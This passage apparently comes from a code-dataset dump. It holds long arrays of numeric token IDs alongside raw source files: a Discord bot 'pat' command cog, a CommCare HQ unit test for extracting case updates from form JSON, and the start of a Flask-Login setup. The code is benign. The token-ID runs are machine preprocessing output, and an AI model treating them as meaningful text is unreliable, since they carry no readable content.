29901,
13,
4706,
301,
1066,
353,
7431,
29898,
27338,
29897,
13,
4706,
1950,
29906,
353,
1950,
29889,
8552,
580,
13,
4706,
363,
282,
29941,
297,
1950,
29901,
13,
9651,
325,
29896,
353,
12655,
29889,
19128,
29898,
29886,
29906,
29892,
282,
29896,
29897,
13,
9651,
325,
29906,
353,
12655,
29889,
19128,
29898,
29886,
29941,
29892,
282,
29896,
29897,
13,
9651,
325,
29941,
353,
12655,
29889,
19128,
29898,
29886,
29941,
29892,
282,
29906,
29897,
13,
9651,
565,
12655,
29889,
6333,
29898,
29894,
29906,
29892,
29894,
29896,
29897,
1405,
29871,
29900,
322,
12655,
29889,
6333,
29898,
29894,
29941,
29892,
29894,
29896,
29897,
529,
29871,
29900,
29901,
13,
18884,
1950,
29906,
29889,
5992,
29898,
29886,
29941,
29897,
13,
4706,
565,
7431,
29898,
27338,
29897,
1275,
7431,
29898,
27338,
29906,
29897,
470,
7431,
29898,
27338,
29906,
29897,
1275,
29871,
29900,
29901,
13,
9651,
2867,
13,
4706,
1950,
353,
1950,
29906,
13,
1678,
1596,
29898,
29886,
29896,
29892,
282,
29906,
29892,
7431,
29898,
27338,
29906,
511,
1950,
29906,
29897,
13,
1678,
736,
1950,
29906,
13,
13,
690,
353,
2322,
8977,
29898,
524,
29897,
13,
579,
1007,
29879,
353,
731,
29898,
579,
1007,
29879,
29897,
13,
13,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29941,
353,
17288,
29900,
29892,
29900,
21336,
29896,
29892,
29896,
21336,
29906,
29892,
29906,
4638,
13,
13,
15945,
29908,
13,
1454,
282,
29896,
297,
8717,
1007,
29879,
29901,
13,
1678,
4586,
353,
731,
4197,
2314,
13,
1678,
363,
282,
29906,
297,
8717,
1007,
29879,
29901,
13,
4706,
363,
282,
29941,
297,
8717,
1007,
29879,
29901,
13,
15945,
29908,
13,
13,
5215,
5844,
13,
13,
1753,
7953,
29898,
29886,
29896,
29892,
282,
29906,
29892,
282,
29941,
1125,
13,
1678,
15414,
29883,
353,
282,
29941,
29961,
29896,
29962,
448,
282,
29896,
29961,
29896,
29962,
13,
1678,
270,
11078,
353,
282,
29941,
29961,
29900,
29962,
448,
282,
29896,
29961,
29900,
29962,
13,
13,
1678,
15414,
29880,
353,
282,
29906,
29961,
29896,
29962,
448,
282,
29896,
29961,
29896,
29962,
13,
1678,
270,
2904,
353,
282,
29906,
29961,
29900,
29962,
448,
282,
29896,
29961,
29900,
29962,
13,
13,
1678,
4891,
353,
15414,
29883,
334,
270,
2904,
448,
270,
11078,
334,
15414,
29880,
13,
1678,
565,
4891,
2804,
29871,
29900,
29901,
13,
4706,
736,
7700,
13,
1678,
565,
313,
755,
29889,
29888,
6897,
29898,
8235,
29880,
29897,
6736,
5844,
29889,
29888,
6897,
29898,
29881,
2904,
22164,
13,
4706,
565,
15414,
29880,
1405,
29871,
29900,
29901,
13,
9651,
736,
282,
29896,
29961,
29896,
29962,
5277,
282,
29941,
29961,
29896,
29962,
322,
282,
29941,
29961,
29896,
29962,
5277,
282,
29906,
29961,
29896,
29962,
13,
4706,
736,
282,
29906,
29961,
29896,
29962,
5277,
282,
29941,
29961,
29896,
29962,
322,
282,
29941,
29961,
29896,
29962,
5277,
282,
29896,
29961,
29896,
29962,
13,
1678,
1683,
29901,
13,
4706,
565,
270,
2904,
1405,
29871,
29900,
29901,
13,
9651,
736,
282,
29896,
29961,
29900,
29962,
5277,
282,
29941,
29961,
29900,
29962,
322,
282,
29941,
29961,
29900,
29962,
5277,
282,
29906,
29961,
29900,
29962,
13,
4706,
736,
282,
29906,
29961,
29900,
29962,
5277,
282,
29941,
29961,
29900,
29962,
322,
282,
29941,
29961,
29900,
29962,
5277,
282,
29896,
29961,
29900,
29962,
13,
13,
15945,
29908,
13,
690,
353,
2322,
8977,
29898,
524,
29897,
13,
1454,
282,
29896,
297,
8717,
1007,
29879,
29901,
13,
1678,
2025,
353,
29871,
29900,
13,
1678,
363,
282,
29906,
297,
8717,
1007,
29879,
29901,
13,
4706,
565,
282,
29906,
1275,
282,
29896,
29901,
13,
9651,
6773,
13,
4706,
1476,
353,
7700,
13,
4706,
363,
282,
29941,
297,
8717,
1007,
29879,
29901,
13,
9651,
565,
282,
29941,
297,
313,
29886,
29896,
29892,
282,
29906,
1125,
13,
18884,
6773,
13,
9651,
565,
7953,
29898,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29941,
1125,
13,
18884,
1476,
353,
5852,
13,
4706,
565,
451,
1476,
29901,
13,
9651,
2025,
4619,
29871,
29896,
13,
1678,
620,
29961,
29886,
29896,
29962,
353,
2025,
13,
13,
1454,
413,
29892,
29894,
297,
620,
29889,
7076,
7295,
13,
1678,
1596,
29898,
29895,
29892,
376,
976,
613,
325,
29897,
13,
2158,
29898,
5431,
29898,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29906,
876,
13,
2158,
29898,
3317,
29898,
690,
29889,
5975,
22130,
13,
15945,
29908,
13,
13,
29886,
29896,
353,
313,
29906,
29947,
29892,
29871,
29906,
29906,
29897,
13,
13,
579,
1007,
29879,
29889,
5992,
29898,
29886,
29896,
29897,
13,
13,
3317,
29918,
29916,
353,
4236,
29898,
29916,
363,
343,
29892,
29916,
297,
8717,
1007,
29879,
7240,
29896,
13,
3317,
29918,
29891,
353,
4236,
29898,
29891,
363,
343,
29892,
29916,
297,
8717,
1007,
29879,
7240,
29896,
13,
13,
11940,
29918,
3317,
353,
29871,
29900,
13,
13,
5215,
5455,
13,
13,
13,
1753,
12812,
29898,
29886,
29892,
8717,
29892,
23794,
29892,
4356,
29878,
1125,
13,
1678,
363,
282,
29941,
297,
23794,
29901,
13,
4706,
7934,
353,
7700,
13,
4706,
363,
282,
29946,
297,
23794,
29901,
13,
9651,
565,
282,
29941,
1275,
282,
29946,
29901,
13,
18884,
6773,
13,
9651,
565,
7953,
29898,
29886,
29892,
282,
29941,
29892,
282,
29946,
1125,
13,
18884,
7934,
353,
5852,
13,
4706,
565,
451,
7934,
29901,
13,
9651,
4356,
29878,
29889,
4397,
29898,
29886,
29941,
29897,
13,
9651,
8717,
29889,
5992,
29898,
29886,
29941,
29897,
13,
9651,
1596,
703,
1745,
8238,
1159,
13,
13,
2098,
353,
5159,
13,
13,
8000,
7431,
29898,
579,
1007,
29879,
29897,
1405,
29871,
29900,
29901,
13,
1678,
1596,
29898,
2435,
29898,
579,
1007,
29879,
511,
7431,
29898,
2098,
876,
13,
13,
1678,
363,
921,
297,
3464,
29898,
3317,
29918,
29916,
1125,
13,
4706,
282,
29906,
353,
313,
29900,
29892,
921,
29897,
13,
4706,
21669,
353,
5159,
13,
4706,
363,
282,
29941,
297,
8717,
1007,
29879,
29901,
13,
9651,
565,
7953,
29898,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29941,
1125,
13,
18884,
21669,
29889,
4397,
29898,
29886,
29941,
29897,
13,
4706,
12812,
29898,
29886,
29896,
29892,
8717,
1007,
29879,
29892,
21669,
29892,
1797,
29897,
13,
13,
1678,
363,
343,
297,
3464,
29898,
3317,
29918,
29891,
1125,
13,
4706,
282,
29906,
353,
313,
29891,
29892,
4236,
29918,
29916,
29899,
29896,
29897,
13,
4706,
21669,
353,
5159,
13,
4706,
363,
282,
29941,
297,
8717,
1007,
29879,
29901,
13,
9651,
565,
7953,
29898,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29941,
1125,
13,
18884,
21669,
29889,
4397,
29898,
29886,
29941,
29897,
13,
4706,
12812,
29898,
29886,
29896,
29892,
8717,
1007,
29879,
29892,
21669,
29892,
1797,
29897,
13,
13,
1678,
363,
921,
297,
3464,
29898,
3317,
29918,
29916,
1125,
13,
4706,
282,
29906,
353,
313,
3317,
29918,
29891,
29899,
29896,
29892,
4236,
29918,
29916,
448,
921,
448,
29871,
29896,
29897,
13,
4706,
21669,
353,
5159,
13,
4706,
363,
282,
29941,
297,
8717,
1007,
29879,
29901,
13,
9651,
565,
7953,
29898,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29941,
1125,
13,
18884,
21669,
29889,
4397,
29898,
29886,
29941,
29897,
13,
4706,
12812,
29898,
29886,
29896,
29892,
8717,
1007,
29879,
29892,
21669,
29892,
1797,
29897,
13,
13,
1678,
363,
343,
297,
3464,
29898,
3317,
29918,
29891,
1125,
13,
4706,
282,
29906,
353,
313,
3317,
29918,
29891,
448,
343,
448,
29871,
29896,
29892,
29871,
29900,
29897,
13,
4706,
21669,
353,
5159,
13,
4706,
363,
282,
29941,
297,
8717,
1007,
29879,
29901,
13,
9651,
565,
7953,
29898,
29886,
29896,
29892,
29886,
29906,
29892,
29886,
29941,
1125,
13,
18884,
21669,
29889,
4397,
29898,
29886,
29941,
29897,
13,
4706,
12812,
29898,
29886,
29896,
29892,
8717,
1007,
29879,
29892,
21669,
29892,
1797,
29897,
13,
13,
2158,
29898,
2098,
29961,
29906,
29900,
29900,
29899,
29896,
2314,
13,
2
] |
pat/pat.py | javascripto/syxactions | 0 | 176962 | <reponame>javascripto/syxactions
from discord.ext import commands
from discord.ext.commands import errors, converter
from .utils.dataIO import fileIO
import random
import discord
class Pat:
def __init__(self, bot):
self.bot = bot
@commands.command(pass_context=True)
async def pat(self, context, member: discord.Member=None):
"""Pat your senpai/waifu or even the enemy!"""
author = context.message.author.mention
text = ("someone who is really worth it!!")
if member != None:
mention = member.mention
text = mention
pat = "**{0} pats {1}!**"
choices = fileIO("data/pat/syxactions/pat.json","load")
image = random.choice(choices)
embed = discord.Embed(description=pat.format(author, text), colour=discord.Colour.blue())
embed.set_image(url=image)
await self.bot.say(embed=embed)
def setup(bot):
n = Pat(bot)
bot.add_cog(n)
| [
1,
529,
276,
1112,
420,
29958,
7729,
29877,
29914,
29879,
29891,
29916,
7387,
13,
3166,
2313,
536,
29889,
1062,
1053,
8260,
13,
3166,
2313,
536,
29889,
1062,
29889,
26381,
1053,
4436,
29892,
29105,
13,
3166,
869,
13239,
29889,
1272,
5971,
1053,
934,
5971,
13,
5215,
4036,
13,
5215,
2313,
536,
13,
13,
1990,
4121,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9225,
1125,
13,
4706,
1583,
29889,
7451,
353,
9225,
13,
13,
1678,
732,
26381,
29889,
6519,
29898,
3364,
29918,
4703,
29922,
5574,
29897,
13,
1678,
7465,
822,
2373,
29898,
1311,
29892,
3030,
29892,
4509,
29901,
2313,
536,
29889,
13404,
29922,
8516,
1125,
13,
4706,
9995,
11457,
596,
6940,
29886,
1794,
29914,
2766,
361,
29884,
470,
1584,
278,
11103,
3850,
15945,
13,
4706,
4148,
353,
3030,
29889,
4906,
29889,
8921,
29889,
358,
291,
13,
4706,
1426,
353,
4852,
5372,
650,
1058,
338,
2289,
7088,
372,
6824,
1159,
13,
308,
13,
4706,
565,
4509,
2804,
6213,
29901,
13,
9651,
3585,
353,
4509,
29889,
358,
291,
13,
9651,
1426,
353,
3585,
13,
13,
4706,
2373,
353,
376,
1068,
29912,
29900,
29913,
282,
1446,
426,
29896,
29913,
29991,
1068,
29908,
13,
13,
4706,
19995,
353,
934,
5971,
703,
1272,
29914,
5031,
29914,
29879,
29891,
29916,
7387,
29914,
5031,
29889,
3126,
3284,
1359,
1159,
12,
12,
13,
462,
13,
4706,
1967,
353,
4036,
29889,
16957,
29898,
1859,
1575,
29897,
13,
308,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
8216,
29922,
5031,
29889,
4830,
29898,
8921,
29892,
1426,
511,
12384,
29922,
2218,
16090,
29889,
1625,
473,
29889,
9539,
3101,
13,
4706,
8297,
29889,
842,
29918,
3027,
29898,
2271,
29922,
3027,
29897,
13,
13,
4706,
7272,
1583,
29889,
7451,
29889,
20834,
29898,
17987,
29922,
17987,
29897,
13,
13,
1753,
6230,
29898,
7451,
1125,
13,
1678,
302,
353,
4121,
29898,
7451,
29897,
13,
1678,
9225,
29889,
1202,
29918,
29883,
468,
29898,
29876,
29897,
13,
2
] |
corehq/motech/tests/test_repeater_helpers.py | andyasne/commcare-hq | 471 | 70296 | <gh_stars>100-1000
from django.test.testcases import TestCase
from mock import patch
from corehq.form_processor.models import CommCareCaseSQL
from datetime import datetime
from corehq.form_processor.interfaces.dbaccessors import CaseAccessors
from corehq.motech.repeater_helpers import get_relevant_case_updates_from_form_json
class TestRepeaterHelpers(TestCase):
def setUp(self):
self.domain = 'test-domain'
self.extra_fields = []
self.form_question_values = {}
case_1_data = {
'case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd',
'domain': self.domain,
'type': 'paciente',
'name': 'case1',
'owner_id': 'owner_1',
'modified_by': 'modified_by',
}
case_2_data = {
'case_id': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc',
'domain': self.domain,
'type': 'casa',
'name': 'case2',
'owner_id': 'owner_2',
'modified_by': 'modified_by',
}
self.case_1 = create_commcare_case(case_1_data)
self.case_2 = create_commcare_case(case_2_data)
def tearDown(self):
self.case_1.delete()
self.case_2.delete()
@patch.object(CaseAccessors, 'get_cases')
def test__get_relevant_case_updates_from_form_json_with_case_types(self, get_cases):
get_cases.return_value = [self.case_1, self.case_2]
result = get_relevant_case_updates_from_form_json(
self.domain,
_get_form_json(),
['paciente'],
self.extra_fields
)
self.assertEqual(len(result), 2)
@patch.object(CaseAccessors, 'get_cases')
def test__get_relevant_case_updates_from_form_json_without_case_types(self, get_cases):
get_cases.return_value = [self.case_1, self.case_2]
result = get_relevant_case_updates_from_form_json(
self.domain,
_get_form_json(),
[],
self.extra_fields
)
self.assertEqual(len(result), 3)
def create_commcare_case(data):
cccsql = CommCareCaseSQL(
case_id=data['case_id'],
domain=data['domain'],
type=data['type'],
name=data['name'],
owner_id=data['owner_id'],
modified_by=data['modified_by'],
modified_on=datetime.utcnow(),
server_modified_on=datetime.utcnow(),
)
cccsql.save()
return cccsql
def _get_form_json():
return {'app_id': 'APP_ID',
'archived': False,
'attachments': {
'form.xml': {
'content_type': 'text/xml',
'length': 10975,
'url': 'https://www.commcarehq.org/a/infomovel-pepfar'
'/api/form/attachment/CONFIDENTIAL/form.xml'
}
},
'build_id': 'BUILD_ID',
'domain': 'infomovel-pepfar',
'edited_by_user_id': None,
'edited_on': None,
'form': {'#type': 'data',
'@name': 'SOME NAME',
'@uiVersion': '1',
'@version': 'VERSION',
'@xmlns': 'http://openrosa.org/formdesigner/IDIDID',
'casa_data': {'convivente_cascade': {},
'conviventes_names': {},
'index_cascade': {},
'save_to_case': {'alocar_paciente_casa': {
'case': {'@case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd',
'@date_modified': '2021-06-24T08:43:06.746000Z',
'@user_id': 'USER ID',
'@xmlns': 'http://commcarehq.org/case/transaction/v2',
'index': {
'parent': {
'#text': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc',
'@case_type': '',
'@relationship': 'child'
}
}}},
'criar_actualizar_casa': {
'case': {'@case_id': '6ca13e74-8ba3-4d0d-l09j-66371e8895dc',
'@date_modified': '2021-05-24T08:43:06.746000Z',
'@user_id': 'USER ID',
'@xmlns': 'http://commcarehq.org/case/transaction/v2',
'create': {'case_name': 'CASE NAME',
'case_type': 'casa',
'owner_id': 'owner_1'},
'update': {
'age_range1': '25-30',
'age_range2': '25-30 anos',
}
}}},
'tb_patient_in_household': '0'},
'case': {'@case_id': '5ca13e74-8ba3-4d0d-l09j-66371e8895dd',
'@date_modified': '2021-06-24T08:43:06.746000Z',
'@user_id': 'USER ID',
'@xmlns': 'http://commcarehq.org/case/transaction/v2',
'update': {'name': '<NAME>'}},
'confirm_info': {},
'confirmar_perfil': {},
'imported_properties': {},
'indicators_v4': {},
'key_workflow_properties': {},
'meta': {},
'patient_data': {}, },
'metadata': {},
}
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29899,
29896,
29900,
29900,
29900,
13,
3166,
9557,
29889,
1688,
29889,
1688,
11436,
1053,
4321,
8259,
13,
3166,
11187,
1053,
13261,
13,
3166,
7136,
29882,
29939,
29889,
689,
29918,
26482,
29889,
9794,
1053,
1876,
29907,
598,
8259,
4176,
13,
3166,
12865,
1053,
12865,
13,
3166,
7136,
29882,
29939,
29889,
689,
29918,
26482,
29889,
1639,
8726,
29889,
2585,
5943,
943,
1053,
11733,
6638,
943,
13,
3166,
7136,
29882,
29939,
29889,
29885,
866,
305,
29889,
276,
412,
1008,
29918,
3952,
6774,
1053,
679,
29918,
276,
6591,
29918,
4878,
29918,
786,
15190,
29918,
3166,
29918,
689,
29918,
3126,
13,
13,
13,
1990,
4321,
1123,
412,
1008,
7658,
6774,
29898,
3057,
8259,
1125,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7247,
353,
525,
1688,
29899,
7247,
29915,
13,
4706,
1583,
29889,
17833,
29918,
9621,
353,
5159,
13,
4706,
1583,
29889,
689,
29918,
12470,
29918,
5975,
353,
6571,
13,
13,
4706,
1206,
29918,
29896,
29918,
1272,
353,
426,
13,
9651,
525,
4878,
29918,
333,
2396,
525,
29945,
1113,
29896,
29941,
29872,
29955,
29946,
29899,
29947,
2291,
29941,
29899,
29946,
29881,
29900,
29881,
29899,
29880,
29900,
29929,
29926,
29899,
29953,
29953,
29941,
29955,
29896,
29872,
29947,
29947,
29929,
29945,
1289,
742,
13,
9651,
525,
7247,
2396,
1583,
29889,
7247,
29892,
13,
9651,
525,
1853,
2396,
525,
3274,
27381,
742,
13,
9651,
525,
978,
2396,
525,
4878,
29896,
742,
13,
9651,
525,
20348,
29918,
333,
2396,
525,
20348,
29918,
29896,
742,
13,
9651,
525,
1545,
2164,
29918,
1609,
2396,
525,
1545,
2164,
29918,
1609,
742,
13,
4706,
500,
13,
4706,
1206,
29918,
29906,
29918,
1272,
353,
426,
13,
9651,
525,
4878,
29918,
333,
2396,
525,
29953,
1113,
29896,
29941,
29872,
29955,
29946,
29899,
29947,
2291,
29941,
29899,
29946,
29881,
29900,
29881,
29899,
29880,
29900,
29929,
29926,
29899,
29953,
29953,
29941,
29955,
29896,
29872,
29947,
29947,
29929,
29945,
13891,
742,
13,
9651,
525,
7247,
2396,
1583,
29889,
7247,
29892,
13,
9651,
525,
1853,
2396,
525,
9398,
29874,
742,
13,
9651,
525,
978,
2396,
525,
4878,
29906,
742,
13,
9651,
525,
20348,
29918,
333,
2396,
525,
20348,
29918,
29906,
742,
13,
9651,
525,
1545,
2164,
29918,
1609,
2396,
525,
1545,
2164,
29918,
1609,
742,
13,
4706,
500,
13,
13,
4706,
1583,
29889,
4878,
29918,
29896,
353,
1653,
29918,
2055,
18020,
29918,
4878,
29898,
4878,
29918,
29896,
29918,
1272,
29897,
13,
4706,
1583,
29889,
4878,
29918,
29906,
353,
1653,
29918,
2055,
18020,
29918,
4878,
29898,
4878,
29918,
29906,
29918,
1272,
29897,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
1583,
29889,
4878,
29918,
29896,
29889,
8143,
580,
13,
4706,
1583,
29889,
4878,
29918,
29906,
29889,
8143,
580,
13,
13,
1678,
732,
5041,
29889,
3318,
29898,
8259,
6638,
943,
29892,
525,
657,
29918,
11436,
1495,
13,
1678,
822,
1243,
1649,
657,
29918,
276,
6591,
29918,
4878,
29918,
786,
15190,
29918,
3166,
29918,
689,
29918,
3126,
29918,
2541,
29918,
4878,
29918,
8768,
29898,
1311,
29892,
679,
29918,
11436,
1125,
13,
4706,
679,
29918,
11436,
29889,
2457,
29918,
1767,
353,
518,
1311,
29889,
4878,
29918,
29896,
29892,
1583,
29889,
4878,
29918,
29906,
29962,
13,
13,
4706,
1121,
353,
679,
29918,
276,
6591,
29918,
4878,
29918,
786,
15190,
29918,
3166,
29918,
689,
29918,
3126,
29898,
13,
9651,
1583,
29889,
7247,
29892,
13,
9651,
903,
657,
29918,
689,
29918,
3126,
3285,
13,
9651,
6024,
3274,
27381,
7464,
13,
9651,
1583,
29889,
17833,
29918,
9621,
13,
4706,
1723,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
2914,
511,
29871,
29906,
29897,
13,
13,
1678,
732,
5041,
29889,
3318,
29898,
8259,
6638,
943,
29892,
525,
657,
29918,
11436,
1495,
13,
1678,
822,
1243,
1649,
657,
29918,
276,
6591,
29918,
4878,
29918,
786,
15190,
29918,
3166,
29918,
689,
29918,
3126,
29918,
14037,
29918,
4878,
29918,
8768,
29898,
1311,
29892,
679,
29918,
11436,
1125,
13,
4706,
679,
29918,
11436,
29889,
2457,
29918,
1767,
353,
518,
1311,
29889,
4878,
29918,
29896,
29892,
1583,
29889,
4878,
29918,
29906,
29962,
13,
13,
4706,
1121,
353,
679,
29918,
276,
6591,
29918,
4878,
29918,
786,
15190,
29918,
3166,
29918,
689,
29918,
3126,
29898,
13,
9651,
1583,
29889,
7247,
29892,
13,
9651,
903,
657,
29918,
689,
29918,
3126,
3285,
13,
9651,
19997,
13,
9651,
1583,
29889,
17833,
29918,
9621,
13,
4706,
1723,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
2914,
511,
29871,
29941,
29897,
13,
13,
13,
1753,
1653,
29918,
2055,
18020,
29918,
4878,
29898,
1272,
1125,
13,
1678,
274,
617,
2850,
353,
1876,
29907,
598,
8259,
4176,
29898,
13,
4706,
1206,
29918,
333,
29922,
1272,
1839,
4878,
29918,
333,
7464,
13,
4706,
5354,
29922,
1272,
1839,
7247,
7464,
13,
4706,
1134,
29922,
1272,
1839,
1853,
7464,
13,
4706,
1024,
29922,
1272,
1839,
978,
7464,
13,
4706,
12271,
29918,
333,
29922,
1272,
1839,
20348,
29918,
333,
7464,
13,
4706,
9120,
29918,
1609,
29922,
1272,
1839,
1545,
2164,
29918,
1609,
7464,
13,
4706,
9120,
29918,
265,
29922,
12673,
29889,
329,
29883,
3707,
3285,
13,
4706,
1923,
29918,
1545,
2164,
29918,
265,
29922,
12673,
29889,
329,
29883,
3707,
3285,
13,
1678,
1723,
13,
1678,
274,
617,
2850,
29889,
7620,
580,
13,
1678,
736,
274,
617,
2850,
13,
13,
13,
1753,
903,
657,
29918,
689,
29918,
3126,
7295,
13,
1678,
736,
11117,
932,
29918,
333,
2396,
525,
20576,
29918,
1367,
742,
13,
9651,
525,
1279,
2347,
2396,
7700,
29892,
13,
9651,
525,
14930,
1860,
2396,
426,
13,
18884,
525,
689,
29889,
3134,
2396,
426,
13,
462,
1678,
525,
3051,
29918,
1853,
2396,
525,
726,
29914,
3134,
742,
13,
462,
1678,
525,
2848,
2396,
29871,
29896,
29900,
29929,
29955,
29945,
29892,
13,
462,
1678,
525,
2271,
2396,
525,
991,
597,
1636,
29889,
2055,
18020,
29882,
29939,
29889,
990,
29914,
29874,
29914,
7192,
290,
586,
295,
29899,
412,
7810,
279,
29915,
13,
462,
965,
8207,
2754,
29914,
689,
29914,
14930,
358,
29914,
6007,
29943,
1367,
3919,
25758,
29914,
689,
29889,
3134,
29915,
13,
18884,
500,
13,
9651,
2981,
13,
9651,
525,
4282,
29918,
333,
2396,
525,
29933,
25282,
29918,
1367,
742,
13,
9651,
525,
7247,
2396,
525,
7192,
290,
586,
295,
29899,
412,
7810,
279,
742,
13,
9651,
525,
287,
1573,
29918,
1609,
29918,
1792,
29918,
333,
2396,
6213,
29892,
13,
9651,
525,
287,
1573,
29918,
265,
2396,
6213,
29892,
13,
9651,
525,
689,
2396,
11117,
29937,
1853,
2396,
525,
1272,
742,
13,
462,
268,
18803,
978,
2396,
525,
6156,
2303,
27085,
742,
13,
462,
268,
18803,
1481,
6594,
2396,
525,
29896,
742,
13,
462,
268,
18803,
3259,
2396,
525,
16358,
742,
13,
462,
268,
18803,
18295,
2396,
525,
1124,
597,
3150,
1883,
29874,
29889,
990,
29914,
689,
13892,
261,
29914,
1367,
1367,
1367,
742,
13,
462,
268,
525,
9398,
29874,
29918,
1272,
2396,
11117,
20580,
440,
2016,
29918,
9398,
6332,
2396,
24335,
13,
462,
462,
259,
525,
20580,
440,
5326,
29918,
7039,
2396,
24335,
13,
462,
462,
259,
525,
2248,
29918,
9398,
6332,
2396,
24335,
13,
462,
462,
259,
525,
7620,
29918,
517,
29918,
4878,
2396,
11117,
284,
542,
279,
29918,
3274,
27381,
29918,
9398,
29874,
2396,
426,
13,
462,
462,
539,
525,
4878,
2396,
11117,
29992,
4878,
29918,
333,
2396,
525,
29945,
1113,
29896,
29941,
29872,
29955,
29946,
29899,
29947,
2291,
29941,
29899,
29946,
29881,
29900,
29881,
29899,
29880,
29900,
29929,
29926,
29899,
29953,
29953,
29941,
29955,
29896,
29872,
29947,
29947,
29929,
29945,
1289,
742,
13,
462,
462,
18884,
18803,
1256,
29918,
1545,
2164,
2396,
525,
29906,
29900,
29906,
29896,
29899,
29900,
29953,
29899,
29906,
29946,
29911,
29900,
29947,
29901,
29946,
29941,
29901,
29900,
29953,
29889,
29955,
29946,
29953,
29900,
29900,
29900,
29999,
742,
13,
462,
462,
18884,
18803,
1792,
29918,
333,
2396,
525,
11889,
3553,
742,
13,
462,
462,
18884,
18803,
18295,
2396,
525,
1124,
597,
2055,
18020,
29882,
29939,
29889,
990,
29914,
4878,
29914,
20736,
29914,
29894,
29906,
742,
13,
462,
462,
18884,
525,
2248,
2396,
426,
13,
462,
462,
462,
1678,
525,
3560,
2396,
426,
13,
462,
462,
462,
4706,
16321,
726,
2396,
525,
29953,
1113,
29896,
29941,
29872,
29955,
29946,
29899,
29947,
2291,
29941,
29899,
29946,
29881,
29900,
29881,
29899,
29880,
29900,
29929,
29926,
29899,
29953,
29953,
29941,
29955,
29896,
29872,
29947,
29947,
29929,
29945,
13891,
742,
13,
462,
462,
462,
4706,
18803,
4878,
29918,
1853,
2396,
15516,
13,
462,
462,
462,
4706,
18803,
2674,
800,
4034,
2396,
525,
5145,
29915,
13,
462,
462,
462,
1678,
500,
13,
462,
462,
18884,
500,
11656,
13,
462,
462,
539,
525,
699,
279,
29918,
19304,
15356,
29918,
9398,
29874,
2396,
426,
13,
462,
462,
965,
525,
4878,
2396,
11117,
29992,
4878,
29918,
333,
2396,
525,
29953,
1113,
29896,
29941,
29872,
29955,
29946,
29899,
29947,
2291,
29941,
29899,
29946,
29881,
29900,
29881,
29899,
29880,
29900,
29929,
29926,
29899,
29953,
29953,
29941,
29955,
29896,
29872,
29947,
29947,
29929,
29945,
13891,
742,
13,
462,
462,
462,
1678,
18803,
1256,
29918,
1545,
2164,
2396,
525,
29906,
29900,
29906,
29896,
29899,
29900,
29945,
29899,
29906,
29946,
29911,
29900,
29947,
29901,
29946,
29941,
29901,
29900,
29953,
29889,
29955,
29946,
29953,
29900,
29900,
29900,
29999,
742,
13,
462,
462,
462,
1678,
18803,
1792,
29918,
333,
2396,
525,
11889,
3553,
742,
13,
462,
462,
462,
1678,
18803,
18295,
2396,
525,
1124,
597,
2055,
18020,
29882,
29939,
29889,
990,
29914,
4878,
29914,
20736,
29914,
29894,
29906,
742,
13,
462,
462,
462,
1678,
525,
3258,
2396,
11117,
4878,
29918,
978,
2396,
525,
23487,
27085,
742,
13,
462,
462,
462,
1669,
525,
4878,
29918,
1853,
2396,
525,
9398,
29874,
742,
13,
462,
462,
462,
1669,
525,
20348,
29918,
333,
2396,
525,
20348,
29918,
29896,
16675,
13,
462,
462,
462,
1678,
525,
5504,
2396,
426,
13,
462,
462,
462,
4706,
525,
482,
29918,
3881,
29896,
2396,
525,
29906,
29945,
29899,
29941,
29900,
742,
13,
462,
462,
462,
4706,
525,
482,
29918,
3881,
29906,
2396,
525,
29906,
29945,
29899,
29941,
29900,
14110,
742,
13,
462,
462,
462,
1678,
500,
13,
462,
462,
462,
1678,
500,
11656,
13,
462,
462,
259,
525,
22625,
29918,
5031,
993,
29918,
262,
29918,
8697,
8948,
2396,
525,
29900,
16675,
13,
462,
268,
525,
4878,
2396,
11117,
29992,
4878,
29918,
333,
2396,
525,
29945,
1113,
29896,
29941,
29872,
29955,
29946,
29899,
29947,
2291,
29941,
29899,
29946,
29881,
29900,
29881,
29899,
29880,
29900,
29929,
29926,
29899,
29953,
29953,
29941,
29955,
29896,
29872,
29947,
29947,
29929,
29945,
1289,
742,
13,
462,
795,
18803,
1256,
29918,
1545,
2164,
2396,
525,
29906,
29900,
29906,
29896,
29899,
29900,
29953,
29899,
29906,
29946,
29911,
29900,
29947,
29901,
29946,
29941,
29901,
29900,
29953,
29889,
29955,
29946,
29953,
29900,
29900,
29900,
29999,
742,
13,
462,
795,
18803,
1792,
29918,
333,
2396,
525,
11889,
3553,
742,
13,
462,
795,
18803,
18295,
2396,
525,
1124,
597,
2055,
18020,
29882,
29939,
29889,
990,
29914,
4878,
29914,
20736,
29914,
29894,
29906,
742,
13,
462,
795,
525,
5504,
2396,
11117,
978,
2396,
12801,
5813,
16299,
11656,
13,
462,
268,
525,
26897,
29918,
3888,
2396,
24335,
13,
462,
268,
525,
5527,
381,
3034,
29918,
546,
1777,
2396,
24335,
13,
462,
268,
525,
5215,
287,
29918,
11330,
2396,
24335,
13,
462,
268,
525,
513,
293,
4097,
29918,
29894,
29946,
2396,
24335,
13,
462,
268,
525,
1989,
29918,
1287,
1731,
29918,
11330,
2396,
24335,
13,
462,
268,
525,
7299,
2396,
24335,
13,
462,
268,
525,
5031,
993,
29918,
1272,
2396,
24335,
2981,
13,
9651,
525,
19635,
2396,
24335,
13,
9651,
500,
13,
2
] |
app/morocco/authentication.py | troydai/Morocco | 0 | 27022 | import flask_login
from .application import app
from .models import DbUser
login_manager = flask_login.LoginManager() # pylint: disable=invalid-name
login_manager.init_app(app)
login_manager.user_loader(lambda user_id: DbUser.query.filter_by(id=user_id).first())
login_required = flask_login.login_required
@login_manager.unauthorized_handler
